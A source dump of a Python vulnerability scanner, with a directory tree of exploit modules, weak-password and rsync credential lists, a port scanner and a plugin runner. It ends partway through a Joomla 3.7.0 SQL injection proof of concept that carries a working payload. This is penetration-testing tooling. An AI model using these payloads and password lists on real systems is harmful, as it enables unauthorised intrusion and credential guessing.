├── README.md ├── conf ├── rsync.conf └── top100.dic ├── core ├── __init__.py ├── cmdline.py ├── colorlog.py ├── controller │ ├── __init__.py │ ├── rsync.py │ └── weakservice.py ├── lib │ ├── __init__.py │ ├── datatype.py │ ├── exploit.py │ ├── function.py │ └── prepare.py ├── logging.py ├── portscan.py ├── run3rd.py └── utils │ ├── __init__.py │ └── utils.py ├── nstscan-cli.py ├── pocs ├── Joomla_3_7_0_sqli.py ├── axublog_1_6.py ├── dedecms_re.py ├── git_config_info_disclosure.py ├── jboss.py ├── ns_asg_6_2_gateway.py ├── pocsuite │ ├── st2_045.py │ └── st2_046.py ├── redis-unauth.py └── zimbra_lfi.py ├── reports ├── hosts_20180119_161609.html ├── hosts_20180125_173805.html ├── hosts_20180905_185445.html ├── hosts_20180905_185637.html ├── hosts_20181207_134034.html └── hosts_20181207_134139.html ├── requirements.txt └── thirdparty ├── BBScan ├── BBScan.py ├── BBScan.pyc ├── README.md ├── crawler_logs │ └── .gitignore ├── lib │ ├── __init__.py │ ├── __init__.pyc │ ├── cmdline.py │ ├── cmdline.pyc │ ├── common.py │ ├── common.pyc │ ├── connectionPool.py │ ├── connectionPool.pyc │ ├── report.py │ └── report.pyc ├── report │ ├── hosts_20180119_161609.html │ ├── hosts_20180125_173805.html │ ├── hosts_20180905_185445.html │ ├── hosts_20180905_185637.html │ ├── hosts_20181207_134034.html │ └── hosts_20181207_134139.html ├── rules │ ├── 1.common_set.txt │ ├── 101.graphite_ssrf.txt │ ├── 102.discuz_getcolor_dom_xss.txt │ ├── 103.java_server_faces2.txt │ ├── 104.zabbix_jsrpc_sqli.txt │ ├── 2.backup_files.txt │ ├── 3.phpinfo_and_test.txt │ ├── 4.directory_traversal.txt │ ├── 5.java_web.txt │ ├── 6.web_editors.txt │ ├── 7.possible_flash_xss.txt │ ├── black.list │ ├── disabled │ │ └── .gitignore │ └── white.list ├── scripts │ ├── __init__.py │ ├── __init__.pyc │ ├── disabled │ │ ├── .gitignore │ │ └── __init__.py │ ├── discuz_backup_file.py │ ├── discuz_backup_file.pyc │ ├── elastic_search_groovy.py │ ├── elastic_search_groovy.pyc │ ├── fastcgi_remote_code_execution.py │ ├── fastcgi_remote_code_execution.pyc │ ├── http_proxy.py │ ├── http_proxy.pyc │ ├── is_admin.py │ ├── is_admin.pyc │ ├── log_files.py │ ├── log_files.pyc │ ├── mongodb_unauthorized_access.py │ ├── mongodb_unauthorized_access.pyc │ ├── opennms-1099-rmi-deserialized.py │ ├── opennms-1099-rmi-deserialized.pyc │ ├── outlook_web_app.py │ ├── outlook_web_app.pyc │ ├── redis_unauthorized_access.py │ ├── redis_unauthorized_access.pyc │ ├── scan_by_hostname_or_folder.py │ ├── scan_by_hostname_or_folder.pyc │ ├── sensitive_folders.py │ ├── sensitive_folders.pyc │ ├── smb_ms17010.py │ ├── smb_ms17010.pyc │ ├── struts_s0245_remote_code_execution.py │ ├── struts_s0245_remote_code_execution.pyc │ ├── supervisord_remote_command_execution.py │ ├── supervisord_remote_command_execution.pyc │ ├── wordpress_backup_file.py │ ├── wordpress_backup_file.pyc │ ├── zookeeper_unauth.py │ └── zookeeper_unauth.pyc └── targets │ └── .gitignore ├── Pocsuite ├── __init__.py ├── __init__.pyc ├── modules │ └── dlink_command_php_exec_noauth.py ├── pcs-attack.py ├── pcs-console.py ├── pcs-verify.py ├── pocscan.py ├── pocsuite.py ├── pocsuite │ ├── __init__.py │ ├── __init__.pyc │ ├── api │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── cannon.py │ │ ├── cannon.pyc │ │ ├── packet.py │ │ ├── poc.py │ │ ├── rcGen.py │ │ ├── request.py │ │ ├── request.pyc │ │ ├── seebug.py │ │ ├── utils.py │ │ ├── utils.pyc │ │ ├── webshell.py │ │ ├── x.py │ │ └── zoomeye.py │ ├── data │ │ ├── password-top100.txt │ │ ├── password-top1000.txt │ │ ├── token.conf │ │ └── user-agents.txt │ ├── lib │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── controller │ │ │ ├── __init__.py │ │ │ ├── check.py │ │ │ ├── controller.py │ │ │ └── setpoc.py │ │ ├── core │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── common.py │ │ │ ├── common.pyc │ │ │ ├── consoles.py │ │ │ ├── convert.py │ │ │ ├── convert.pyc │ │ │ ├── data.py │ │ │ ├── data.pyc │ │ │ ├── datatype.py │ │ │ ├── datatype.pyc │ │ │ ├── defaults.py │ │ │ ├── defaults.pyc │ │ │ ├── enums.py │ │ │ ├── enums.pyc │ │ │ ├── exception.py │ │ │ ├── exception.pyc │ │ │ ├── handlejson.py │ │ │ ├── log.py │ │ │ ├── log.pyc │ │ │ ├── option.py │ │ │ ├── poc.py │ │ │ ├── poc.pyc │ │ │ ├── register.py │ │ │ ├── register.pyc │ │ │ ├── revision.py │ │ │ ├── revision.pyc │ │ │ ├── settings.py │ │ │ ├── settings.pyc │ │ │ ├── threads.py │ │ │ └── update.py │ │ ├── parse │ │ │ ├── __init__.py │ │ │ └── parser.py │ │ ├── request │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── basic.py │ │ │ ├── basic.pyc │ │ │ ├── requestspatch.py │ │ │ └── requestspatch.pyc │ │ └── utils │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── funs.py │ │ │ ├── funs.pyc │ │ │ ├── packet.py │ │ │ ├── parseopener.py │ │ │ ├── password.py │ │ │ ├── password.pyc │ │ │ ├── randoms.py │ │ │ ├── require.py │ │ │ ├── requirescheck.py │ │ │ ├── seebug.py │ │ │ ├── versioncheck.py │ │ │ └── zoomeye.py │ ├── pocsuite_attack.py │ ├── pocsuite_cli.py │ ├── pocsuite_console.py │ ├── pocsuite_verify.py │ ├── tests │ │ ├── __init__.py │ │ └── test_pocsuite.py │ └── thirdparty │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── ansistrm │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── ansistrm.py │ │ └── ansistrm.pyc │ │ ├── argparse │ │ ├── __init__.py │ │ └── argparse.py │ │ ├── colorama │ │ ├── __init__.py │ │ ├── ansi.py │ │ ├── ansitowin32.py │ │ ├── initialise.py │ │ ├── win32.py │ │ └── winterm.py │ │ ├── odict │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── odict.py │ │ └── odict.pyc │ │ ├── oset │ │ ├── LICENSE.txt │ │ ├── __init__.py │ │ ├── _abc.py │ │ └── pyoset.py │ │ ├── prettytable │ │ ├── CHANGELOG │ │ ├── COPYING │ │ ├── MANIFEST.in │ │ ├── PKG-INFO │ │ ├── README │ │ ├── __init__.py │ │ └── prettytable.py │ │ ├── pyparsing │ │ ├── CHANGES │ │ ├── HowToUsePyparsing.html │ │ ├── LICENSE │ │ ├── PKG-INFO │ │ ├── README │ │ ├── __init__.py │ │ ├── htmldoc │ │ │ ├── api-objects.txt │ │ │ ├── class-tree.html │ │ │ ├── crarr.png │ │ │ ├── epydoc.css │ │ │ ├── epydoc.js │ │ │ ├── frames.html │ │ │ ├── help.html │ │ │ ├── identifier-index.html │ │ │ ├── index.html │ │ │ ├── module-tree.html │ │ │ ├── pyparsing.pyparsing-module.html │ │ │ ├── pyparsing.pyparsing-pysrc.html │ │ │ ├── pyparsing.pyparsing.And-class.html │ │ │ ├── pyparsing.pyparsing.CaselessKeyword-class.html │ │ │ ├── pyparsing.pyparsing.CaselessLiteral-class.html │ │ │ ├── pyparsing.pyparsing.CharsNotIn-class.html │ │ │ ├── pyparsing.pyparsing.Combine-class.html │ │ │ ├── pyparsing.pyparsing.Dict-class.html │ │ │ ├── pyparsing.pyparsing.Each-class.html │ │ │ ├── pyparsing.pyparsing.Empty-class.html │ │ │ ├── pyparsing.pyparsing.FollowedBy-class.html │ │ │ ├── pyparsing.pyparsing.Forward-class.html │ │ │ ├── pyparsing.pyparsing.GoToColumn-class.html │ │ │ ├── pyparsing.pyparsing.Group-class.html │ │ │ ├── pyparsing.pyparsing.Keyword-class.html │ │ │ ├── pyparsing.pyparsing.LineEnd-class.html │ │ │ ├── pyparsing.pyparsing.LineStart-class.html │ │ │ ├── pyparsing.pyparsing.Literal-class.html │ │ │ ├── pyparsing.pyparsing.MatchFirst-class.html │ │ │ ├── pyparsing.pyparsing.NoMatch-class.html │ │ │ ├── pyparsing.pyparsing.NotAny-class.html │ │ │ ├── pyparsing.pyparsing.OneOrMore-class.html │ │ │ ├── pyparsing.pyparsing.OnlyOnce-class.html │ │ │ ├── pyparsing.pyparsing.Optional-class.html │ │ │ ├── pyparsing.pyparsing.Or-class.html │ │ │ ├── pyparsing.pyparsing.ParseBaseException-class.html │ │ │ ├── pyparsing.pyparsing.ParseElementEnhance-class.html │ │ │ ├── pyparsing.pyparsing.ParseException-class.html │ │ │ ├── pyparsing.pyparsing.ParseExpression-class.html │ │ │ ├── pyparsing.pyparsing.ParseFatalException-class.html │ │ │ ├── pyparsing.pyparsing.ParseResults-class.html │ │ │ ├── pyparsing.pyparsing.ParseSyntaxException-class.html │ │ │ ├── pyparsing.pyparsing.ParserElement-class.html │ │ │ ├── pyparsing.pyparsing.QuotedString-class.html │ │ │ ├── pyparsing.pyparsing.RecursiveGrammarException-class.html │ │ │ ├── pyparsing.pyparsing.Regex-class.html │ │ │ ├── pyparsing.pyparsing.Regex.compiledREtype-class.html │ │ │ ├── pyparsing.pyparsing.SkipTo-class.html │ │ │ ├── pyparsing.pyparsing.StringEnd-class.html │ │ │ ├── pyparsing.pyparsing.StringStart-class.html │ │ │ ├── pyparsing.pyparsing.Suppress-class.html │ │ │ ├── pyparsing.pyparsing.Token-class.html │ │ │ ├── pyparsing.pyparsing.TokenConverter-class.html │ │ │ ├── pyparsing.pyparsing.Upcase-class.html │ │ │ ├── pyparsing.pyparsing.White-class.html │ │ │ ├── pyparsing.pyparsing.Word-class.html │ │ │ ├── pyparsing.pyparsing.WordEnd-class.html │ │ │ ├── pyparsing.pyparsing.WordStart-class.html │ │ │ ├── pyparsing.pyparsing.ZeroOrMore-class.html │ │ │ ├── pyparsing_2.0.2_docs.zip │ │ │ ├── redirect.html │ │ │ ├── toc-everything.html │ │ │ ├── toc-pyparsing.pyparsing-module.html │ │ │ └── toc.html │ │ ├── pyparsing.py │ │ ├── pyparsingClassDiagram.JPG │ │ ├── pyparsingClassDiagram.PNG │ │ ├── robots.txt │ │ └── setup.py │ │ ├── requests │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── adapters.py │ │ ├── adapters.pyc │ │ ├── api.py │ │ ├── api.pyc │ │ ├── auth.py │ │ ├── auth.pyc │ │ ├── cacert.pem │ │ ├── certs.py │ │ ├── certs.pyc │ │ ├── compat.py │ │ ├── compat.pyc │ │ ├── cookies.py │ │ ├── cookies.pyc │ │ ├── exceptions.py │ │ ├── exceptions.pyc │ │ ├── hooks.py │ │ ├── hooks.pyc │ │ ├── models.py │ │ ├── models.pyc │ │ ├── packages │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── chardet │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── big5freq.py │ │ │ │ ├── big5prober.py │ │ │ │ ├── chardetect.py │ │ │ │ ├── chardistribution.py │ │ │ │ ├── charsetgroupprober.py │ │ │ │ ├── charsetprober.py │ │ │ │ ├── codingstatemachine.py │ │ │ │ ├── compat.py │ │ │ │ ├── constants.py │ │ │ │ ├── cp949prober.py │ │ │ │ ├── escprober.py │ │ │ │ ├── escsm.py │ │ │ │ ├── eucjpprober.py │ │ │ │ ├── euckrfreq.py │ │ │ │ ├── euckrprober.py │ │ │ │ ├── euctwfreq.py │ │ │ │ ├── euctwprober.py │ │ │ │ ├── gb2312freq.py │ │ │ │ ├── gb2312prober.py │ │ │ │ ├── hebrewprober.py │ │ │ │ ├── jisfreq.py │ │ │ │ ├── jpcntx.py │ │ │ │ ├── langbulgarianmodel.py │ │ │ │ ├── langcyrillicmodel.py │ │ │ │ ├── langgreekmodel.py │ │ │ │ ├── langhebrewmodel.py │ │ │ │ ├── langhungarianmodel.py │ │ │ │ ├── langthaimodel.py │ │ │ │ ├── latin1prober.py │ │ │ │ ├── mbcharsetprober.py │ │ │ │ ├── mbcsgroupprober.py │ │ │ │ ├── mbcssm.py │ │ │ │ ├── sbcharsetprober.py │ │ │ │ ├── sbcsgroupprober.py │ │ │ │ ├── sjisprober.py │ │ │ │ ├── universaldetector.py │ │ │ │ └── utf8prober.py │ │ │ └── urllib3 │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── _collections.py │ │ │ │ ├── _collections.pyc │ │ │ │ ├── connection.py │ │ │ │ ├── connection.pyc │ │ │ │ ├── connectionpool.py │ │ │ │ ├── connectionpool.pyc │ │ │ │ ├── contrib │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── ntlmpool.py │ │ │ │ ├── pyopenssl.py │ │ │ │ └── pyopenssl.pyc │ │ │ │ ├── exceptions.py │ │ │ │ ├── exceptions.pyc │ │ │ │ ├── fields.py │ │ │ │ ├── fields.pyc │ │ │ │ ├── filepost.py │ │ │ │ ├── filepost.pyc │ │ │ │ ├── packages │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── ordered_dict.py │ │ │ │ ├── ordered_dict.pyc │ │ │ │ ├── six.py │ │ │ │ ├── six.pyc │ │ │ │ └── ssl_match_hostname │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── __init__.pyc │ │ │ │ │ └── _implementation.py │ │ │ │ ├── poolmanager.py │ │ │ │ ├── poolmanager.pyc │ │ │ │ ├── request.py │ │ │ │ ├── request.pyc │ │ │ │ ├── response.py │ │ │ │ ├── response.pyc │ │ │ │ └── util │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── connection.py │ │ │ │ ├── connection.pyc │ │ │ │ ├── request.py │ │ │ │ ├── request.pyc │ │ │ │ ├── response.py │ │ │ │ ├── response.pyc │ │ │ │ ├── retry.py │ │ │ │ ├── retry.pyc │ │ │ │ ├── ssl_.py │ │ │ │ ├── ssl_.pyc │ │ │ │ ├── timeout.py │ │ │ │ ├── timeout.pyc │ │ │ │ ├── url.py │ │ │ │ └── url.pyc │ │ ├── sessions.py │ │ ├── sessions.pyc │ │ ├── status_codes.py │ │ ├── status_codes.pyc │ │ ├── structures.py │ │ ├── structures.pyc │ │ ├── utils.py │ │ └── utils.pyc │ │ ├── socks │ │ ├── PKG-INFO │ │ ├── __init__.py │ │ ├── setup.py │ │ ├── socks.py │ │ └── sockshandler.py │ │ └── termcolor │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── termcolor.py │ │ └── termcolor.pyc └── setup.py └── __init__.py /conf/rsync.conf: -------------------------------------------------------------------------------- 1 | Anonymous: 2 | rsync:1 3 | rsync:12 4 | rsync:123 5 | rsync:1234 6 | rsync:12345 7 | rsync:123456 8 | rsync:1234567 9 | rsync:12345678 10 | rsync:123456789 11 | rsync:1234567890 12 | rsync:654321 13 | rsync:54321 14 | rsync:00000000 15 | rsync:88888888 16 | rsync:pass 17 | rsync:password 18 | rsync:passwd 19 | rsync:!@#$%^ 20 | rsync:1q2w3e 21 | rsync:qawsed 22 | rsync:pwd 23 | rsync:1qaz2ws3e4 24 | rsync:qazwsxedc 25 | rsync:!@#$%^&* -------------------------------------------------------------------------------- /conf/top100.dic: -------------------------------------------------------------------------------- 1 | 123456 2 | a123456 3 | 123456a 4 | 5201314 5 | 111111 6 | woaini1314 7 | qq123456 8 | 123123 9 | 000000 10 | 1qaz2wsx 11 | 1q2w3e4r 12 | qwe123 13 | 7758521 14 | 123qwe 15 | a123123 16 | 123456aa 17 | woaini520 18 | woaini 19 | 100200 20 | 1314520 21 | woaini123 22 | 123321 23 | q123456 24 | 123456789 25 | 123456789a 26 | 5211314 27 | asd123 28 | a123456789 29 | z123456 30 | asd123456 31 | a5201314 32 | aa123456 33 | zhang123 34 | aptx4869 35 | 123123a 36 | 1q2w3e4r5t 37 | 1qazxsw2 38 | 5201314a 39 | 1q2w3e 40 | aini1314 41 | 31415926 42 | q1w2e3r4 43 | 123456qq 44 | woaini521 45 | 1234qwer 46 | a111111 47 | 520520 48 | iloveyou 49 | abc123 50 | 110110 51 | 111111a 52 | 123456abc 53 | w123456 54 | 7758258 55 | 123qweasd 56 | 159753 57 | qwer1234 58 | a000000 59 | qq123123 60 | zxc123 61 | 123654 62 | abc123456 63 | 123456q 64 | qq5201314 65 | 12345678 66 | 000000a 67 | 456852 68 | as123456 69 | 1314521 70 | 112233 71 | 521521 72 | qazwsx123 73 | zxc123456 74 | abcd1234 75 | asdasd 76 | 666666 77 | love1314 78 | QAZ123 79 | aaa123 80 | q1w2e3 81 | aaaaaa 82 | a123321 83 | 123000 84 | 11111111 85 | 12qwaszx 86 | 5845201314 87 | s123456 88 | nihao123 89 | caonima123 90 | zxcvbnm123 91 | wang123 92 | 159357 93 | 1A2B3C4D 94 | asdasd123 95 | 584520 96 | 753951 97 | 147258 98 | 1123581321 99 | 110120 100 | qq1314520 -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.beysec.com) 5 | author : bey0nd 6 | """ -------------------------------------------------------------------------------- /core/cmdline.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.hualala.com) 5 | author wenzhaowei[at]hualala.com 6 | """ 7 | import sys 8 | import argparse 9 | 10 | 11 | def parse_args(): 12 | banner() 13 | parser = argparse.ArgumentParser(prog='NSTScan', 14 | formatter_class=argparse.RawTextHelpFormatter, 15 | description='* weB vulnerability Scanner. *\n' 16 | 'Author : bey0nd [at] (https://www.beysec.com)', 17 | usage='NSTScan-cli.py [options]') 18 | 19 | parser.add_argument('-u', metavar='HOST [HOST2 HOST3 ...]', type=str, default='', nargs='*', 20 | help='Scan several url from command line') 21 | 22 | parser.add_argument('-f', metavar='TargetFile', type=str, default='', 23 | help='Load new line delimited targets from TargetFile') 24 | 25 | parser.add_argument('-p',"--plugins", metavar='', type=str, default='', help='Load plugins from TargetDirectory') 26 | 27 | parser.add_argument("-cookie", metavar='name=value', type=str, default='', help='HTTP cookies for Target') 28 | 29 | parser.add_argument('-t',"--threads", metavar='', type=int, default='1', help='Max number of concurrent HTTP(s) requests (default 1)') 30 | 31 | if(len(sys.argv))==1: 32 | sys.argv.append('-h') 33 | argv = parser.parse_args() 34 | return argv 35 | 36 | def banner(): 37 | banner = ''' 38 | _ _ _____ _______ _____ 39 | | \ | |/ ____|__ __/ ____| 40 | | \| | (___ | | | (___ ___ __ _ _ __ 41 | | . ` |\___ \ | | \___ \ / __/ _` | '_ \ 42 | | |\ |____) | | | ____) | (_| (_| | | | | 43 | |_| \_|_____/ |_| |_____/ \___\__,_|_| |_| 44 | weB vulnerability Scanner 45 | bey0nd [at] (https://www.beysec.com) 46 | ''' 47 | print banner -------------------------------------------------------------------------------- /core/controller/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.beysec.com) 5 | author : bey0nd 6 | """ -------------------------------------------------------------------------------- /core/lib/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.beysec.com) 5 | author : bey0nd 6 | """ -------------------------------------------------------------------------------- /core/lib/datatype.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.hualala.com) 5 | author wenzhaowei[at]hualala.com 6 | """ 7 | import copy 8 | import types 9 | 10 | 11 | class AttribDict(dict): 12 | """ 13 | This class defines the HScan object, inheriting from Python data 14 | type dictionary. 15 | """ 16 | 17 | def __init__(self, indict=None, attribute=None): 18 | if indict is None: 19 | indict = {} 20 | 21 | # Set any attributes here - before initialisation 22 | # these remain as normal attributes 23 | self.attribute = attribute 24 | dict.__init__(self, indict) 25 | self.__initialised = True 26 | 27 | # After initialisation, setting attributes 28 | # is the same as setting an item 29 | 30 | def __getattr__(self, item): 31 | """ 32 | Maps values to attributes 33 | Only called if there *is NOT* an attribute with this name 34 | """ 35 | 36 | try: 37 | return self.__getitem__(item) 38 | except KeyError: 39 | raise 40 | 41 | def __setattr__(self, item, value): 42 | """ 43 | Maps attributes to values 44 | Only if we are initialised 45 | """ 46 | 47 | # This test allows attributes to be set in the __init__ method 48 | if '_AttribDict__initialised' not in self.__dict__: 49 | return dict.__setattr__(self, item, value) 50 | 51 | # Any normal attributes are handled normally 52 | elif item in self.__dict__: 53 | dict.__setattr__(self, item, value) 54 | 55 | else: 56 | self.__setitem__(item, value) 57 | 58 | def __getstate__(self): 59 | return self.__dict__ 60 | 61 | def __setstate__(self, dict): 62 | self.__dict__ = dict 63 | 64 | def __deepcopy__(self, memo): 65 | retVal = self.__class__() 66 | memo[id(self)] = retVal 67 | 68 | for attr in dir(self): 69 | if not attr.startswith('_'): 70 | value = getattr(self, attr) 71 | if not isinstance(value, (types.BuiltinFunctionType, types.BuiltinFunctionType, types.FunctionType, types.MethodType)): 72 | setattr(retVal, attr, copy.deepcopy(value, memo)) 73 | 74 | for key, value in self.items(): 75 | retVal.__setitem__(key, copy.deepcopy(value, memo)) 76 | 77 | return retVal 78 | 79 | -------------------------------------------------------------------------------- /core/lib/exploit.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.hualala.com) 5 | author wenzhaowei[at]hualala.com 6 | """ 7 | import sys 8 | sys.path.append('./thirdparty/Pocsuite') 9 | from thirdparty.Pocsuite.pocsuite.api.cannon import Cannon 10 | from core.colorlog import info as log,error 11 | 12 | 13 | def runPlugins(task_queue,result_queue): 14 | while not task_queue.empty(): 15 | # ['http://m.hualala.com/', 'pocs\\dedecms_re.py'] 16 | url, poc = task_queue.get() 17 | try: 18 | info = { 19 | "pocname":poc[14:-3], 20 | "pocstring" : open("./"+poc).read(), 21 | "mode":"verify" 22 | } 23 | invoker = Cannon(url, info).run() 24 | log("url [%s] verify [%s] is [%s] " % (invoker[0],invoker[1],invoker[5][1])) 25 | result_queue.put(invoker) 26 | except IOError as identifier: 27 | error('poc plugins not find , check your options') 28 | 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /core/lib/prepare.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.hualala.com) 5 | author wenzhaowei[at]hualala.com 6 | """ 7 | 8 | from datatype import AttribDict 9 | 10 | def prepare_param(argv): 11 | 12 | params = AttribDict() 13 | params.targets = argv.u 14 | params.cookies = argv.cookie 15 | params.file = argv.f 16 | params.plugins = argv.plugins 17 | params.threads = argv.threads 18 | return params 19 | 20 | 21 | -------------------------------------------------------------------------------- /core/logging.py: -------------------------------------------------------------------------------- 1 | from colorama import init, Fore, Back, Style 2 | import time 3 | import sys 4 | import threading 5 | 6 | class logging(): 7 | def __init__(self): 8 | init(autoreset=True) 9 | self.lock = threading.Lock() 10 | 11 | def INFO(self,msg): 12 | self.lock.acquire() 13 | sys.stdout.write(Fore.GREEN + '[-] ' + time.strftime('%H:%M:%S', time.localtime()) +' [INFO] '+ msg + '\n') 14 | self.lock.release() 15 | 16 | def ERROR(self,msg): 17 | self.lock.acquire() 18 | sys.stdout.write(Fore.RED + '[!] ' + time.strftime('%H:%M:%S', time.localtime()) +' [ERROR] '+ msg + '\n') 19 | self.lock.release() 20 | 21 | def WARNING(self,msg): 22 | self.lock.acquire() 23 | sys.stdout.write(Fore.YELLOW + '[!] ' + time.strftime('%H:%M:%S', time.localtime()) + ' [WARN] '+ msg + '\n') 24 | self.lock.release() 25 | 26 | if __name__ == '__main__': 27 | logging = logging() 28 | str = "insert [1] row" 29 | logging.ERROR(str) 30 | logging.INFO(str) 31 | logging.WARNING(str) -------------------------------------------------------------------------------- /core/portscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding:utf8 -*- 3 | # Python: 2.7.13 4 | # Platform: Windows 5 | # Authro: s3xy 6 | 7 | import socket, time, signal 8 | from socket import gethostbyname 9 | from socket import gethostbyname_ex 10 | from urlparse import urlsplit 11 | import threading 12 | socket.setdefaulttimeout(5) 13 | 14 | openports = list() 15 | lock = threading.Lock() 16 | 17 | def url2ip(url): 18 | """ 19 | works like turning 'http://baidu.com' => '180.149.132.47' 20 | """ 21 | # url = url.replace("http://",'').replace("https://",'') if url.startswith("http") else url 22 | # url = url[:-1] if url.endswith('/') else url 23 | url = urlsplit(url)[1].split(':')[0] 24 | 25 | return gethostbyname_ex(url)[2][0] 26 | # iport = urlsplit(url)[1].split(':') 27 | # if len(iport) > 1: 28 | # return gethostbyname(iport[0]), iport[1] 29 | # return gethostbyname(iport[0]) 30 | 31 | def socket_port(ip, port): 32 | """ 33 | scan open port by socket 34 | """ 35 | global openports 36 | openports = [] 37 | try: 38 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 39 | result = s.connect_ex((ip, port)) 40 | if result == 0: 41 | lock.acquire() 42 | openports.append(port) 43 | lock.release() 44 | s.close() 45 | except Exception as e: 46 | openports.append(0) 47 | 48 | 49 | def ip_scan(ip): 50 | """ 51 | scan open ports from user assign 52 | """ 53 | try: 54 | tmp = [21,22,23,80,81,82,83,84,85,86,87,88,89,90,91,92,93,95,96,97,98,99,389,443,873,1433,2049,2181,2375,3306,3389,5984,6379,7001,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8888,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9999,11211,27017,50070] 55 | thread_queue = [] 56 | for i in tmp: 57 | t = threading.Thread(target=socket_port,args=(ip,i)) 58 | t.start() 59 | thread_queue.append(t) 60 | for tt in thread_queue: 61 | tt.join() 62 | 63 | except Exception as e: 64 | openports.append(0) 65 | 66 | def getopenports(ip): 67 | ip_scan(url2ip(ip)) 68 | return openports 69 | 70 | 71 | 72 | if __name__ == '__main__': 73 | 74 | domain = 'http://www.xusec.com/newtask' 75 | # print urlsplit(domain)[1].split(':')[0] 76 | # exit() 77 | # ip = url2ip(domain) 78 | # print ip 79 | print getopenports(domain) 80 | 81 | 82 | -------------------------------------------------------------------------------- /core/run3rd.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.beysec.com) 5 | author : bey0nd 6 | """ 7 | import os 8 | import shutil 9 | from core.colorlog import success 10 | 11 | rootpath = os.getcwd() + os.path.sep 12 | 13 | def runBBScan(param): 14 | ''' 运行BBScan进行敏感信息扫描 ''' 15 | path = os.path.join("thirdparty","BBScan") 16 | bbscanpath = os.path.join(rootpath,'thirdparty','BBScan','BBScan.py') 17 | BBScanCmd = "cd %s && python %s%s -nnn --full" % (path,bbscanpath,param) 18 | os.system(BBScanCmd) 19 | success('generate html to reports directory') 20 | fromscr = os.path.join(rootpath,'thirdparty','BBScan','report') 21 | tosrc = os.path.join(rootpath,'reports') 22 | for root, dirs, files in os.walk(fromscr): 23 | for fp in files: 24 | if fp.endswith('html'): 25 | shutil.copy(os.path.join(root,fp),tosrc) 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /core/utils/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.beysec.com) 5 | author : bey0nd 6 | """ -------------------------------------------------------------------------------- /core/utils/utils.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | Copyright (c) 2017 hualala Security (https://www.beysec.com) 5 | author : bey0nd 6 | """ 7 | import sys 8 | 9 | def getTOP100(): 10 | """ 11 | 生成TOP100弱口令密码 12 | """ 13 | return [line.strip() for line in open("conf/top100.dic").xreadlines()] 14 | 15 | def checkVersion(): 16 | PYVERSION = sys.version.split()[0] 17 | if PYVERSION >= "3" or PYVERSION < "2.6": 18 | exit("[-] incompatible Python version detected ('%s'). For successfully running nstscan you'll have to use version 2.6 or 2.7 (visit 'http://www.python.org/download/')" % PYVERSION) 19 | 20 | 21 | -------------------------------------------------------------------------------- /pocs/Joomla_3_7_0_sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | from pocsuite.net import req 6 | from pocsuite.poc import POCBase, Output 7 | from pocsuite.utils import register 8 | 9 | 10 | class TestPOC(POCBase): 11 | name = 'Joomla3.7.0 SQLI' 12 | vulID = '0' # https://www.seebug.org/vuldb/ssvid-78176 13 | author = ['bey0nd'] 14 | vulType = 'SQLI' 15 | version = '1.0' # default version: 1.0 16 | references = ['http://www.myhack58.com/Article/html/3/62/2013/41590.htm'] 17 | desc = '''Joomla3.7.0 SQLI''' 18 | 19 | vulDate = '2013-02-14' 20 | createDate = '2013-02-14' 21 | updateDate = '2013-02-14' 22 | 23 | appName = 'Joomla' 24 | appVersion = 'Joomla' 25 | appPowerLink = 'Joomla' 26 | samples = [''] 27 | 28 | def _attack(self): 29 | '''attack mode''' 30 | return self._verify() 31 | 32 | def _verify(self): 33 | '''verify mode''' 34 | result = {} 35 | self.url = self.url + '/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)' 36 | 37 | resp = req.get(self.url) 